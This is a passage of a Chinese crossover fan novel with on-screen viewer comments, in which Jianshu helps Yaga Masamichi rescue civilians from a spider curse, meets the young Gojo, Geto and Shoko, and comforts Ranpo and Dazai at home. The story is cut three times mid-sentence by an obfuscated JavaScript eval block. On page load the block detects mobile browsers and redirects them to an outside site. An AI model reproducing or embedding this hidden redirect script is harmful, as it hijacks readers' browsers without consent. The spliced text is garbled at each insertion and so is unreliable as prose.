这个问题有些不合时宜,夜蛾正道一时不知道如何回答。而沉默让间漱误会,他特地解释了句:“我觉得我孩子或许会喜欢,这会是很棒的礼物。” “……谢谢你的认可,这些等出去再说吧。”夜蛾正道叹息一声,初步认识到间漱的“不同寻常”。 间漱没有听出话外之意,他只用自己的理解去思考,然后得出请教问题,需要给出回报的答案。 “我可以帮你找到他们。” “啊?” “那些还活着的人。”间漱微微抬手,“就算是请教问题的回报,你目前最想要做的事情,就是找到他们不是吗?” 这是很划算的“交易”,间漱这样想着。但在夜蛾正道眼中,这完全是截然不同的意义。 他有些震惊间漱的轻描淡写,原来要找到幸存者可以是如此轻松的事情? 同时他又感到后背一凉,肉眼可见的有什么东西涌动着,庞大的咒力快要化作实体,迅速的向四面八方延伸。 12.错误的认知 在漆黑的建筑内,每一次选择方向都要谨慎。 这次的咒灵并没有很强的进攻性,好像只是单纯想要困住里面的每个人。 夜蛾正道抬头看了眼黑漆漆的天花板,然后加快脚步追上前面的人。 首先感受到的,是冲进鼻腔的血腥味,然后才是忽远忽近的,那几声虚弱求助。 靠近楼道的角落,一个奄奄一息的男人动了动。夜蛾正道上前将人扶起,半拉拽着扛在肩膀上。 再顺着声音找去,求救的男人正抱着一个孩子安慰。 “别怕,别怕……一定会有人的,等出去爸爸给你买小蛋糕。”那位父亲安慰着,但也难掩颤音。 直到看到走近的两人,他才像是找到了勇气,猛地抱着女儿爬起来:“救命!救救我们,我们怎么都走不出去了!” 夜蛾正道依旧是安慰为先:“别害怕先生,但是目前援助人手有限,能麻烦你抱着孩子跟我走吗。” “当然、当然!” 夜蛾正道背着伤者走在前面,戴眼镜的父亲抱着女儿走在中间。间漱落在后面,和那个一脸好奇的女孩对视着。 她看着比太宰还要小,但却比那位父亲还要镇定冷静。间漱扯着嘴角给出微笑,但小女孩却缩起脖子藏起半张脸。 “抬头跟着我走,不要四处张望。”夜蛾正道语气凝重的提醒,顺带关心,“还能坚持吗?” “嗯嗯。”那位父亲连忙答应,“只要再坚持一下就好了。” 那句话不知道是在安慰小女孩,还是在告诉他自己。浓郁的血腥气味变得更加明显,只要一低头就能看到,通道两边角落残留的断肢残骸。 小女孩没那么怕生了,或许是因为间漱抬手遮去那些恐怖的画面,她对视野里那大片的黑色感到好奇,同时又觉得鼻尖痒痒的。 伸手去抓的时候,丝丝缕缕的长线从指缝穿过。 间漱捏了捏小女孩的手掌,然后听到愉快的咯吱咯吱的笑声。 紧张的夜蛾正道这才想起,是间漱带他过来,那后者想必有离开的办法。 所以他也直接的求助:“你能找到入口的位置吗?” “不能。”间漱很诚实的摇头,“因为入口封闭了,但是我知道它藏在哪里。” 夜蛾正道停下脚步,想着如果不祓除那个家伙的话,恐怕根本走不出去。 但是他也不能带着伤患和普通人去冒险。 “能麻烦你一件事吗。”夜蛾正道停了下来,找了块平坦的地方将伤者放下,“我要去找到那个家伙,能麻烦你帮忙照看他们三人一会儿吗?” 在间漱回答前,面前人率先补充:“可以将这当作一件委托来看,我会付酬劳。” “可以。”间漱点头答应了,顺带澄清,“我不要酬劳,只需要教我怎么做咒骸就可以。” 夜蛾正道一时沉默,而弹幕纷纷说着。 【哈哈,帮个小忙就想换人家的看家本领吗?间漱好大胃口。】 【也不怪夜蛾老师沉默了,换作正常人都不会这么唐突吧。】 【已经不是唐不唐突的问题了,你没那个术式能学会吗就问?】 间漱不说话了,原来不能请教吗?但出乎意料的是,思考后夜蛾正道答应了。 “可以,这之后或许可以尝试一下。” 放在平地上的男人发出微弱的呻/吟,看到夜蛾正道走远,那位父亲感到惴惴不安:“还要多久才能离开?为什么不先送我们出去。” 对于这样多余的问题,间漱并没有正面回答。他只是观察着这对父女的相处,并对小女孩好奇的问题展露了足够的耐心。 “大哥哥,你叫什么啊。” “间漱。” “那间漱大哥哥,也能看到那种东西吗?”小女孩眨了眨眼睛,“哥哥,我们真的能离开吗。” “可以的。”间漱给出肯定的回答,但那位父亲却像是受到惊吓。 他猛地捂住女儿的嘴,声音颤抖但也带着怒气:“你又在胡说了?那里怎么可能会有其他东西,小孩子不能撒谎!” 小女孩的眼神马上暗淡下去,间漱抿着唇抓住那位父亲的手腕,然后冷淡的表示:“对待孩子要有耐心。” “我已经很有耐心了!”那位父亲反驳,“已经、已经快要被逼疯了,为什么只有我的女儿有病?” 【唉又一个悲剧,生在这种普通家庭,也不知道是幸运还是不幸了。】 【应该是不幸的,那么多案例证明了,拥有天赋的孩子在普通家庭,是不会被理解的。】 【真可惜,能看到咒灵,明明是很少有的天赋。】 【那位爸爸简直是笨蛋,本来小女孩就很无助了,还要被家里人怀疑。】 弹幕都在惋惜和吐槽,间漱无法理解他们这么激动的原因,他只是依旧看着小女孩。 “你的爸爸是笨蛋。”他重复了弹幕的话,一本正经,“而你是很有天赋的人。” 小女孩摇摇头,她主动伸手抓住了间漱的手指:“谢谢大哥哥,看到你的第一眼,我就知道你是不一样的。” 不一样……不一样吗?是哪里露出破绽了,导致他暴露了吗? 间漱被吓了一跳,他浑身都变得僵硬,思考着自己哪里做的不对。 僵持的气氛被轰隆的爆炸声打破,小女孩又一次被父亲紧紧抱紧,而炸开的火光仿佛在顺着楼道蔓延。 脚底下的地板好像动了起来。 火、逐渐扩散又灼热的火焰——间漱的瞳孔微微紧缩,下意识后退了两步。 他讨厌火,但答应了夜蛾正道要守在这里。正纠结的时候,一身灰扑扑的人从天花板上破洞掉了下来。 “快跑!”夜蛾正道提醒着,然后背起地上的伤患。 他们顺着楼梯往上而去,而火焰在楼底肆虐。 夜蛾正道擦了把脸上的灰,皱眉说道:“没想到是易燃物,看来火是它的弱点,但是在那之前要先将你们安顿好。” 见火焰好像被控制在一定范围内,夜蛾正道率先停了下来。 间漱缩着脖子往底下看,然后又往上走了几步:“它不会烧过来吧?” “不会。”夜蛾正道做出保证,“但是如果看到白色的东西,千万不要触碰。” “你在说那个东西吗?”间漱随手一指,抬头的夜蛾正道缓缓瞪大眼睛。 原本跟在身后的父女两人,此时正喘息着搀扶着墙壁。而白色的丝线正缠绕着男人的手臂,逐渐延伸快要将半个身体都包裹起来。 就好像一个茧那般。 男人看不到自己的困境,他甚至不知道是什么时候碰到了这个东西,但是他能感觉到越来越喘不过气。 哀嚎和求助卡在喉咙里,男人看着夜蛾正道震惊的表情,意识到自己的处境。 他将女儿送出去,低声说了句:“拜托了,请一定要带她离开。” 夜蛾正道急忙放下手里的伤患,但哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548651|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕上前了,他也依旧毫无办法。 察觉的太晚了……白色的丝状物体,已经包裹了近半的身体。最表面的白色上,已经渗透丝丝缕缕的红色。 这东西会勒进血肉,然后将人的身体分割开。过不了多久,还能说话的男人就会和底下的那些尸体一样。 “我很抱歉。”夜蛾正道惭愧道,“它的弱点是火,但是……” 但是气喘吁吁的男人扛不住。 小女孩也意识到什么,她被间漱抱着,茫然的喊了一声:“爸爸?” “抱歉间漱,能麻烦你先抱着她离开吗。”夜蛾正道掩去眼底的不忍,下定了决心,“我马上追上来。” “为什么?”小女孩着急发问,间漱也有样学样,“为什么?不带他走,你要一把火也烧了他吗。” 这确实是夜蛾正道的打算,与其看男人在痛苦中死去,不如来个痛快。 但被明晃晃的说出来,又显得有些残忍。 “为什么不带他一起离开,这种东西虽然麻烦,但是扯开就好啊。” 那一瞬间,夜蛾正道又感觉到那种怪异的感觉—— 而后他好像是突然明白那离奇的脑回路,于是下意识开口询问:“你有办法解开这个东西吗?” “你们没有吗?”间漱歪头反问,“不如说这样简单的问题,需要思考很久吗。” 夜蛾正道哑然了,弹幕夜嘻嘻哈哈的嘲笑。 【是在凡尔赛吗?间漱这话说的好没有人情味哦。】 【看夜蛾老师那个震惊的表情,哈哈哈哈他一定在想,间漱这小子说的是人话嘛?】 【高手肯定是要到最后出手的,间漱肯定在等大家都没有办法的时候,再狠狠装一把!】 间漱眨了眨眼睛,看着那个欲言又止的表情,好像有些理解了:“难道做不到吗?” 根本做不到……夜蛾正道能做到的,就是送这个男人一个体面的死亡。 小女孩最先反应过来,她紧紧抓住间漱的肩膀,恳求道:“拜托了大哥哥,请救救爸爸!” 在听到小女孩开口求助后,间漱这才像是找到了目标:“好啊。” 本就昏暗的楼道,好像又涌动起黑色的液体。夜蛾正道感觉到脸上有细丝抚过,像是纤细的丝、又像是春日里拂面而过的细雨。 是滴答落下的不明液体,温柔而坚韧的连接成细丝,崩裂那白色的茧,给了男人喘息的余地。 那种渗人的感觉好像淡去一些,父女两人抱在一起痛哭,然后在夜蛾正道的建议下,靠墙坐着得到短暂的休息。 周围安静了些,间漱舔了舔嘴唇,刚好对上夜蛾正道复杂的注视。 两人安静站在楼梯口,看到底下的火焰渐渐熄灭。 夜蛾正道思考了很久,然后才试探着开口问道:“当时在外面……还有刚刚那些话,你为什么要这样说?是觉得他们真的能做到吗。” 他本来觉得那些堪称刻薄犀利的话,是来自一位强者的傲慢和奚落,但仔细一想,说这些话时,间漱的表情十分的真诚。 那并不是刻薄或者嘲讽,就好像真的那样觉得。 “有什么不对吗?”间漱依旧不理解,所以他将自己的疑问说出,“他们不是孩子,也没有受伤,为什么做不到?” 夜蛾正道一时有些哑然,他说不出话,因为受到了太大的震惊。 这个家伙、这个强而不自知的人,难道意识不到他和普通人的不同吗?! 13.高专的学生 两人都有些沉默,直到一声因为纠结许久的深深叹息后,才有人率先开口。 “你……没意识到自己的不一样吗?”夜蛾正道思来想去,还是用委婉的话说道,“你和那些普通人不一样,是……” 间漱的眼睛顿时睁大,他没去看身边的人,但口袋里的手却暗自攥紧。 和其他人不一样、和普通人不一样——也就是说,他和人不一样。 不愧是被称为老师的人,是什么时候看出来的?间漱眯起眼睛,第一次升起前所未有的危机感。 好可怕,人类里居然还有这样的高手。要怎么做才能隐瞒下去…… 在间漱还在纠结苦恼的时候,夜蛾正道搓了搓手臂,压下那莫名其妙的感觉。 “我是人。”间漱倔强的强调,他不想为了隐瞒而杀人灭口,但是他也不想自己暴露。 所以只一再强调:“我不知道你在说什么,我和其他人一样。” 夜蛾正道有些纳闷,但还是第一时间解释:“我并不是这个意思,只是人和人也有不同,那些普通人看到的世界,或许和我们看到的有所不同。” “咒力、每个人的咒力都不同,而大部分的普通人,只拥有微弱的咒力。”夜蛾正道开始科普,“他们甚至看不到咒灵的存在,这也是区分彼此天赋最直接的办法。” “而你不出意料的,是拥有强大实力的、特殊的那个人。” 毕竟夜蛾正道第一眼就注意到了,那庞大的、不加掩饰的咒力。 间漱稍稍被安慰了些,但依旧低着头说:“我和他们没什么不同,只是普通人而已。” 夜蛾正道一时有些哑然,然后突兀的失笑一声,他低声说了句:“这个时候好像确实不适合说这些。” “算了,以后再说吧。” 两人回到原地,夜蛾正道询问了那位父亲的情况,成年人依旧能坚持,但蔫蔫的孩子却用很弱的声音说道。 “我好饿爸爸。”小女孩没什么力气,靠在爸爸怀里吸了吸鼻子,“我是不是要死了?” “不会的。”那位爸爸安慰,但脸色也前所未有的苍白。 夜蛾正道蹲下去查看伤患的情况,然后眉头逐渐凝重的紧皱。 那个奄奄一息的伤患已经没了气息,但奇怪的是,刚死没多久的尸体,居然快速起了尸斑变得僵硬。 间漱听到小女孩的请求,然后从口袋里摸出几颗糖果。 “谢谢你大哥哥。”小女孩勉强露出笑容,但却第一时间将剥开的糖果,送到爸爸的嘴边。 “我们要尽快出去了。”夜蛾正道站起身,表情前所未有的凝重。 他好像下定了决心,转头对间漱十分认真的请求:“你有尽快祓除这只咒灵的办法吗?” 虽然是询问,但夜蛾正道有一种预感,面前的人能做到。 间漱给出了肯定的回答,面前人略作停顿,但还是因为忍受不住发出了询问。 “那为什么要和我们一起被困在这里?” “你能收服它。”间漱抬起头看向一个方向,“进来的时候答应过你一个要求,不贸然出手,也不伤害其他人。” “那……你祓除它需要付出什么代价吗?”夜蛾正道依旧有些担心。 “你不需要它了吗?”间漱反问,“我说过,作为请教你的报答,可以将它让给你。” 夜蛾正道失笑出声:“但是他们不能再拖了。” “是吗。”间漱若有所思的点点头,“还有一个问题就是,这样会破坏这里的店铺。” 有些哑然的男人憋出半句话:“只是这样?” “当然,我们不能破坏别人的私有财产。” 【太正经了这个理由,好为我们普通人着想。】 【是啊,每次看动漫那种战斗场面,都要想普通人辛辛苦苦买的车房说不定还没还完贷款。】 【好心酸也好现实,间漱真是好孩子,不过这种特殊时候,就毫无顾忌的给夜蛾老师亮一手吧!】 欲言又止的夜蛾正道觉得,自己今天无话可说的次数有些太多了。不过他还是深吸一口气解释:“这些损失不可避免,但是会由专门部门统一补偿的。” 得到肯定的回答,间漱这才往前走了两步。他的眼睛转了转,然后主动伸出手。 错综复杂的白丝,是蛛网也是咒灵的巢穴。所以最为密集之处,就是藏身之处。 火确实是它的弱点,但只要多用一些“力气”,那些东西也就不再难缠。 夜蛾正道感觉到地板的震动,他本想使用火焰帮忙,让那些快速靠近的东西退去,但却听到近在咫尺的一声要求。 “不要点火。” 但那黑色的圆球密密麻麻的扑来,仔细一看是长着多条腿的小蜘蛛,一个个发出尖锐的声音涌动着靠近。 这幕看得人起鸡皮疙瘩,夜蛾正道护好父女两人,但也有些担心。 这么多的数量,间漱一个人真的能处理吗? 那位父亲紧紧捂住女儿的耳朵,在这种特殊的时候,无法看到诅咒的他,却好像看到一个张牙舞爪的黑色虚影。 〖为什么……为什么……〗 仿佛近在耳边的声音响起,带着重音一遍遍重复。 〖我们明明是同类——〗 〖为什么要帮助人类?为什么——〗 越发尖锐的声音带着临死前的怨恨,不过也只持续了短短的几秒钟。 夜蛾正道隐约听见“同类”、“人类”的字眼,正想细听的时候,是一声遗憾的轻叹。 “一级咒灵果然不同。”间漱摸着下巴,有些可惜道,“可以对话呢,但是味道也没有多好。” 随着刺啦刺啦的电流声,头顶的灯重新通电亮了起来。 而从建筑的外部看去,原本笼罩的帐也随着里面的诅咒被祓除而消失。 拉着警戒线的路边,或蹲或站的几个少年统一装扮,看到帐落下,其中的两人立马打起精神。 看到出口处的几个人,为首的白发少年不满的抱怨:“太慢了吧正道,难不成是在偷懒吗。” “悟,老师肯定能解决的。”另一个黑发、丸子头的少年悠哉道,“另外我们可不是不相信您,只不过这次就连硝子都很好奇,能困住老师长达一个星期的诅咒,到底有什么特殊能力。” 夏油杰一边说一边抬头看去,然后有些可惜道:“本来还想能不能顺便收服,现在看来是没机会了。” 夜蛾正道刚和辅助监管交接完,抬头就听到学生这句话:“一个星期?” “准确来说是八天。”三人中唯一的女性慢悠悠的解释,“辅助监管说入口封闭了,强行破坏会导致里面的人受伤。” 家入硝子看着老师震惊的表情,挑挑眉笑道:“大概是里外的时间流速不一样。” 夜蛾正道见过类似的例子,但是也没想到会拖延这么久。正想着的时候,学生之一五条悟凑了过来。 那总是吊儿郎当的学生,今天却难得正经的,一把摘下墨镜,指着他身边的人大惊小怪说着。 “他、他是谁?!”五条悟瞪大眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559475|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,近距离观察着,“好庞大的咒力……感觉浑身上下包括头发丝都是咒力充裕的样子……” “你是人吗?” 出乎意料的一句话,紧接着又是语气夸张的补充。 “感觉强大的不像是人。”五条悟一本正经,然后又突然摇头,“不不不,当然没有我和杰厉害了,只不过第一次看到你这样把强写在脸上的人。” 因为包裹混杂的咒力太过外溢和庞大,所以就连六眼也看不清楚底下的“本色”。 “我是夜蛾先生的助手。”间漱照搬了之前的说法,眨了眨眼睛对凑近的少年生出几分好奇。 因为弹幕此时正齐刷刷又迅速的刷过—— 【哇靠,是最美好的三人组啊,呜呜可惜以后就看不到这样和谐的一幕了。】 【三小只都要好好的才对,至于苦夏什么的,都给我走开啊!】 【笑死,某没有礼貌的白猫,上来就是很唐突的问题啊。】 【你是人吗?哈哈哈,虽然知道是形容强大的不像普通人,但是看间漱那个样子分明觉得很冒犯嘛。】 间漱确实觉得冒犯,因为五条悟的眼睛让他觉得特殊。 按照弹幕的说法,面前的几人也是“重要角色”。仔细去观察的话,也能看到其中两人的死状。 都是在年轻的时候,浑身血迹又狼狈的死去。 在间漱的沉默当中,夜蛾正道扯住五条悟的衣领:“悟,这位间漱先生是我的朋友,不能没有礼貌。” “只是很好奇。”五条悟依旧歪头打量,但下一秒面前人伸出手。 在那黑色手套上躺着的,是一颗玻璃纸包裹的糖果。 【哄猫有道啊,间漱简直太会拿捏了。】 【一眼就看穿五条猫猫喜欢什么嘛,简直是太狡猾了糖果战略这套。】 【我就说吧,他明明很擅长攻略其他人的,所以偶尔说没有情商的话,果然是假装的吧。】 【不像假装……】 【哈哈哈哈,但是悟确实很吃这套。】 就如弹幕所说,原本咋咋呼呼的白发少年安静了。倒不是突然改性,只是在接下糖果后,有些别扭的表示:“糖果?只是一颗糖果吗?” 不仅仅是弹幕意外和喜闻乐见,旁边的夏油杰和家入硝子也很诧异,然后是挑眉一副原来如此的表情。 这个看似冷漠的男人,出乎意料的很会拿捏人嘛。 正这样想的时候,间漱又掏出不同的糖果送给其他两人。 “啊?我也有份?”夏油杰指了指自己,倒是没有拒绝,“那谢谢了。” 间漱对几人表达了亲近,因为他“看到”,日后的未来里,和三人的接触会因为这次的初次相识而增多。 但他也有些迟钝的,反应过来好像有什么不对劲:“一个星期?已经过去了……一个星期吗。” “准确来说是八天。”五条悟一边嚼嚼嚼,一边重复家入硝子的话,“八天哦。” 在间漱费劲思考的时候,弹幕远比他的想法活络,它们先一步意识到事情的不对劲。 【八天?如果是假期那我会很痛苦,如果是工作时间那太好了!一下子就过去了。】 【可是没有提前说一声就消失这么久,家里人肯定很担心吧。】 【不,已经不是担心的问题了吧。难道你们忘记了,第一次和爸爸妈妈见面的时候,算的那卦了吗。】 【三十二天后,你们会死?是这个?】 【这样一说……不会这么巧吧?!不会吧!!】 14.是虚惊一场 那个奇怪的男人,一转眼就不见了。速度很快,只是眨眨眼的功夫。 剩下的几人面面相觑,夏油杰推了推身边的五条悟,调侃道:“是不是你吓到人家了?” “可是他看着就是很奇怪啊。”五条悟坦诚道,“而且……有一种、嗯——” “形容不上来的话,就安静一会儿吧。”家入硝子打了个哈欠,“老师,没什么事情的话我就先回去睡觉了。” 夜蛾正道也没料到间漱会离开的这么突然,他还有很多话想说,但看着一瞬间没影的人,又只能摇摇头感叹:“下次再说吧,好歹知道了名字。” 比起另一边的郁闷,间漱这边则处于焦急当中。 他第一次感受到慌乱,这种感觉就好像是看到破掉的杯子装满水,想做些什么,但却只能任由水流淌一地。 【希望不要是那样残酷的事情,呜呜。】 【当时不是算到了这个结局吗?应该避免才对,为什么会这样巧合?刚好在这个紧要的关头,遇到了难得一见的,能控制时间流速的咒灵。】 【难道结局真的无法改变吗?】 【不要哇!这不是救赎剧本吗,不是大团圆结局吗?】 在那些哀嚎和絮絮念里,间漱以最快的速度赶了回去。他径直推开门,刚好听到了那句抱怨。 “肯定是因为你的问题!怎么挑这么硬的土豆,根本切不动。” “明明是因为你拿刀的手法不对,还有这个土豆不是我挑的。” 里面的两人幼稚争论着,听到开门声都齐刷刷的抬头看去。 乱步手上拿着绷带,正蹩脚的往手上缠。手边桌子上,堆满了染血了的纸巾。 而太宰治正穿着围裙,站在搬过去的凳子上,在灶台前搅拌着锅里的东西。 两人都盯着门口的间漱,三人都陷入死寂的沉默当中。没人开口,但也正是这不同寻常的安静,好像证明了那个遗憾的事实。 强忍着疼痛的人,因为笨拙的包扎手法,导致血哗啦啦的流。好像终于忍受不住,乱步吸了吸鼻子,声音哽咽道:“好痛哦,你到底去哪里了。” “为什么回来的这么晚?” 太宰治没有质问,只是手上动作微顿,然后又掩饰地低头不停搅拌借此掩饰什么。 间漱没有解释,他好像忘记了怎么说话,因为那些愧疚而被硬生生的钉在原地。 【呜呜可怜的两个孩子,没有家长在家,应该很不安吧?】 【还好间漱回来了,但是好像来晚了,哽咽。】 【做些什么呀,好着急好着急。】 【说些什么吧,打破这安静的气氛。间漱怎么了?那个样子……不会是被吓到了吧,可是现在只有他能站出来了。】 【啊,可怕的沉默,是因为来晚了所以惋惜和愧疚吗?】 【再见了最好的爸爸妈妈,哪怕只剩下你们三个也要好好生活下去才对。】 和弹幕的着急不同,间漱陷入纠结而急躁的思考当中。 人类在这种时候应该做什么?安慰?哭泣?为朋友亲人的离世而惋惜? 他哭不出来,甚至在紧急情况下,头脑一片空白。 【现在,走过去。】 一个冷静的弹幕飘过。 【蹲下去,抱抱他们说一句我回来了。什么也不用做,只需要告诉他们你回来了就好。】 按照弹幕的提示,间漱一一照做。他力气很大,单手勒着还没反应过来的乱步,走过去也将太宰一把揽入怀里。 是一个很大力的拥抱,然后耳边是一句很轻的话。 “我回来了……”良久还有一句补充“抱歉。” 乱步吸了吸鼻子,举着因为切菜伤痕累累的手指,他靠着间漱的肩头,好像放下了紧绷的情绪。 太宰治歪着头,僵硬的身体很快因为熟悉的感觉而放松。 没有更多的话,也没有其他的交谈,直到锅里冒起黑烟飘来糊味,间漱才在提醒下松手。 他熟练的处理好厨房,为两人煮了一碗鸡蛋面。吃饭的时候都很安静,也没人提这些时候都发生了什么。 【虽然强/制的手段很有用,也很喜闻乐见,但是怎么感觉……】 【嗯,间漱对于情绪的表达,好像有些生硬啊。】 【典型的吃软不吃硬?虽然感觉确实很别扭,但是那个大大的拥抱,对两个孩子来说还是很有用的。】 【没办法,强者总是不拘小节,性格这样小小的缺陷无伤大雅啦。】 间漱并没有感觉被安慰道,反倒是深深的觉得挫败——他做的有这样失败吗? 人类的情绪无疑是最复杂、最难以模仿的,他明明已经很努力的模仿了。 看着窗外越来越暗的天空,安静的房子里面,是从未有过的孤独。 乱步坐在沙发上,翻看着不知道几天前的报纸。太宰抱着膝盖在地毯上一个人下棋,挽起的袖子可以看到他手腕上缠绕的绷带。 间漱站在门口,回忆着以前的气氛。 然后他发现根本做不到菊那样,轻松的调动氛围。客厅里很安静,三人分散坐在不同的位置。 留给间漱烦恼的时间不多,在弹幕的提醒下,他想起漫漫长夜、失去父母的孩子需要安慰。 所以在客厅的灯关掉后,他一手夹着枕头,一手提着不情不愿的太宰治,敲开了乱步的房门。 揉着眼睛的乱步打了个哈欠,他没问两人的来意,只是嘟囔一声:“根本不需要……” 虽然这样说,但他还是侧身让开路:“提醒一下我的床可没那么大。” “挤挤就好了。”间漱放好枕头,然后打开了带来的绘本。 按照每次入睡前的习惯,他要给两个孩子讲睡前故事。 只不过那没有情绪起伏的声音,听得乱步面目扭曲。他看向太宰治,终于明白他为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571355|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么抗拒。 “我要睡觉了!”乱步用枕头捂住耳朵,面朝墙壁,“不许再说话了!” 间漱没有说话,只是掰着乱步的肩膀,让他靠在自己的肩膀上。 他任由两个孩子一左一右躺在怀里,用同样强硬不同拒绝的态度说道:“睡吧。” 早在懂事起,乱步就没有和父母同床过了。他瞪大眼睛短暂抗拒,但拍在身上的力道很均匀。 半蜷缩着的乱步已经睡着,但另一边的太宰治却依旧睁开眼睛。 “你想再听一本绘本吗。”间漱发问,然后得到否定的答案,“不需要。” 床边的台灯亮着,太宰治看着天花板:“你什么时候离开。” “反正迟早会走,继续假装下去也没有意义。” 间漱的动作停了下来,思考过后他将这归咎于离了父母的孩子,会感受到不安。 所以他抚摸着太宰治的头顶,直到他有些不耐烦才开口:“没有父母会离开孩子。” 这是一句不算回答的回答,太宰治眼神复杂,最后还是用被子盖上脸不说话。 夜深,确定两人都睡着后,间漱才小心下床。 和太宰治一晚上不会怎么乱动的习惯不同,睡着的乱步睡姿十分随意,手脚摊开、然后不停翻身。 床确实不大,所以间漱将位置让给他们两人,不知道站在床边看了多久,楼底下传来不算大的动静。 间漱捕捉到那个脚步声,于是立马下楼。他的脚步很轻,但还是被背对着他的人察觉。 窗外已经蒙蒙亮,来客是翻墙撬门进来的,警惕回头的时候已经拿起手上的武器。 “甚尔?”间漱歪头喊道,“你来了。” 一身黑色的人身上还带着血腥的气味,武器也还没有离身,但有些格格不入的是,他手上提着早餐。 看到那张脸,甚尔下意识皱眉“啧”了一声,然后不耐烦道:“既然你回来了那我就走了。” “甚尔也需要安慰吗。”间漱直白道,他微微张开手,“过来吧。” 时隔这么久没见还是这么恶心……甚尔搓了搓不存在的鸡皮疙瘩,烦躁的补充:“我不管你去了哪里,总之从现在开始委托结束了。” “记得那个臭小鬼的保证,以后离我远点。” 间漱不知道什么委托啊保证啊,他只将这归咎于孩子的不好意思。 他张开双手,给了甚尔一个虚空的拥抱。没办法,和太宰还有乱步不同,这个孩子格外叛逆。 甚尔用手里的武器抵在中间,挑挑眉表示:“再靠近一点,我就绑架那个臭小鬼卖给黑市。” “哦。” 厨房里一阵乒乒乓乓,半响后甚尔收起了武器,擦了擦嘴角被按着坐下。 而厨房里的间漱已经穿上围裙,面带微笑的表示:“早餐马上就好哦。” 甚尔深深叹息一声,想着:这糟糕的世界毁灭算了。 15.暗地的交易 热气腾腾的面汤上,卧着一枚完美形状的煎蛋。 就外形和味道来看,这碗鸡蛋面是无可挑剔的,但是换作谁连吃两天也会觉得厌倦。 乱步坐在桌前,用筷子戳破荷包蛋的软心,然后吐槽着:“你不能多学学别的吗?” 间漱刚脱下围裙,闻言诚恳的保证:“我会的。” 目前他会做的食物屈指可数,除了鸡蛋面就只会做两片面包,夹蔬菜肉片的三明治。 太宰治对早餐没有评价,他啃着甚尔带来的包子,对后者偶尔投来的意味深长的视线,做出无视的举动。 对于突然出现在家里的人,乱步两人好像并不意外。看着他们相处“和谐”,间漱便也放下心来。 但他刚进厨房,外面坐着的三人就一同有了动作。 乱步眼疾手快从桌子底下掏出一包薯片,以迅雷不及掩耳之势打开、塞到嘴里。 而原本面无表情的甚尔,直接长手一伸,扯住想要逃跑的太宰治衣领。他单手将人提了起来,眯着眼睛威胁:“这就是你的保证?” 太宰治维持着一开始的动作,被步步紧逼也没有特别的反应。脖颈处传来大力的拉扯,他喉咙紧了紧,特地咳嗽两声。 在那个小鬼开口求助前,甚尔眼疾手快的将他的嘴捂住,并且低声威胁:“呵呵,既然答应了做不到的事情,那就用自己来抵扣委托的酬劳吧。” “你们在做什么。” 冷不丁的一声询问,甚尔动作一僵,然后十分自然的将太宰治夹在胳膊底下:“没什么。” 太宰治勉强扯出一个笑容,他的眼睛转了转,然后在威胁的眼神下拉长语调:“没什么~” 间漱端着盘子,突然走过去掀开太宰治的衣袖。袖子底下的手腕缠满了绷带,因为被提起来的特殊姿势,能看到领口底下也是松松垮垮的绷带。 掀开绷带查看,发现皮肤上没有明显伤口后,间漱有些不解,但弹幕回答了他的疑惑。 【虽然之前也有缠绷带,但是感觉这次更明显,也更多地方了。】 【哎,是一种防御手段啦,可能绷带能给宰带来安全感吧。】 【特殊的癖好,怪不得叫绷带浪费装置。】 癖好?原来是孩子的爱好,间漱露出一个原来如此的表情,然后选择了默许。 看着甚尔和太宰治“亲密”的举动,为人父的间漱十分欣慰。 他学着菊的样子,在早餐结束后收拾好桌子。然后在太宰出门上学前,帮忙整理了领口和袖子。 “我送他去学校吧。”甚尔难得好心说道,然后扯着嘴角露出一个意味深长的表情,“顺路的事。” 在间漱回答前,太宰治先是一缩脖子拒绝:“我不要,我自己认识路。” 虽然十分抗拒,但几分钟后,在无法抗拒的力道下,太宰治被扛着出了门。 同样憋屈的姿势,太宰治原本以为自己已经习惯了才是。但如今看着门口对他招手的间漱,他没由来的觉得郁闷。 他讨厌这些只靠武力让人屈服的人。 早上的时间结束,间漱关上门,开始回忆平时菊一天会做什么。 先是用木梳,在某人顺从的时候,梳理那头毛毛躁躁的短发。 然后取回每日送达的报纸,将窗户都打开通风。 微风轻拂面吹过,有样学样的做完这一切,一上午还剩下许多时间。 间漱不知道能做什么了,于是用询问的目光看向乱步。 乱步用报纸遮住半张脸,一双眼睛乱转:“那、那就出门吧。” 出门?是家庭必须的采购吧,间漱点点头会意,然后掏出了记事本。 他学着繁男在记事本上先写下采购清单,然后在超市比对着,选了最优惠的商品。 但被一个笑容殷勤的老太太拉住时,他才意识到不需要买两个锅回去。 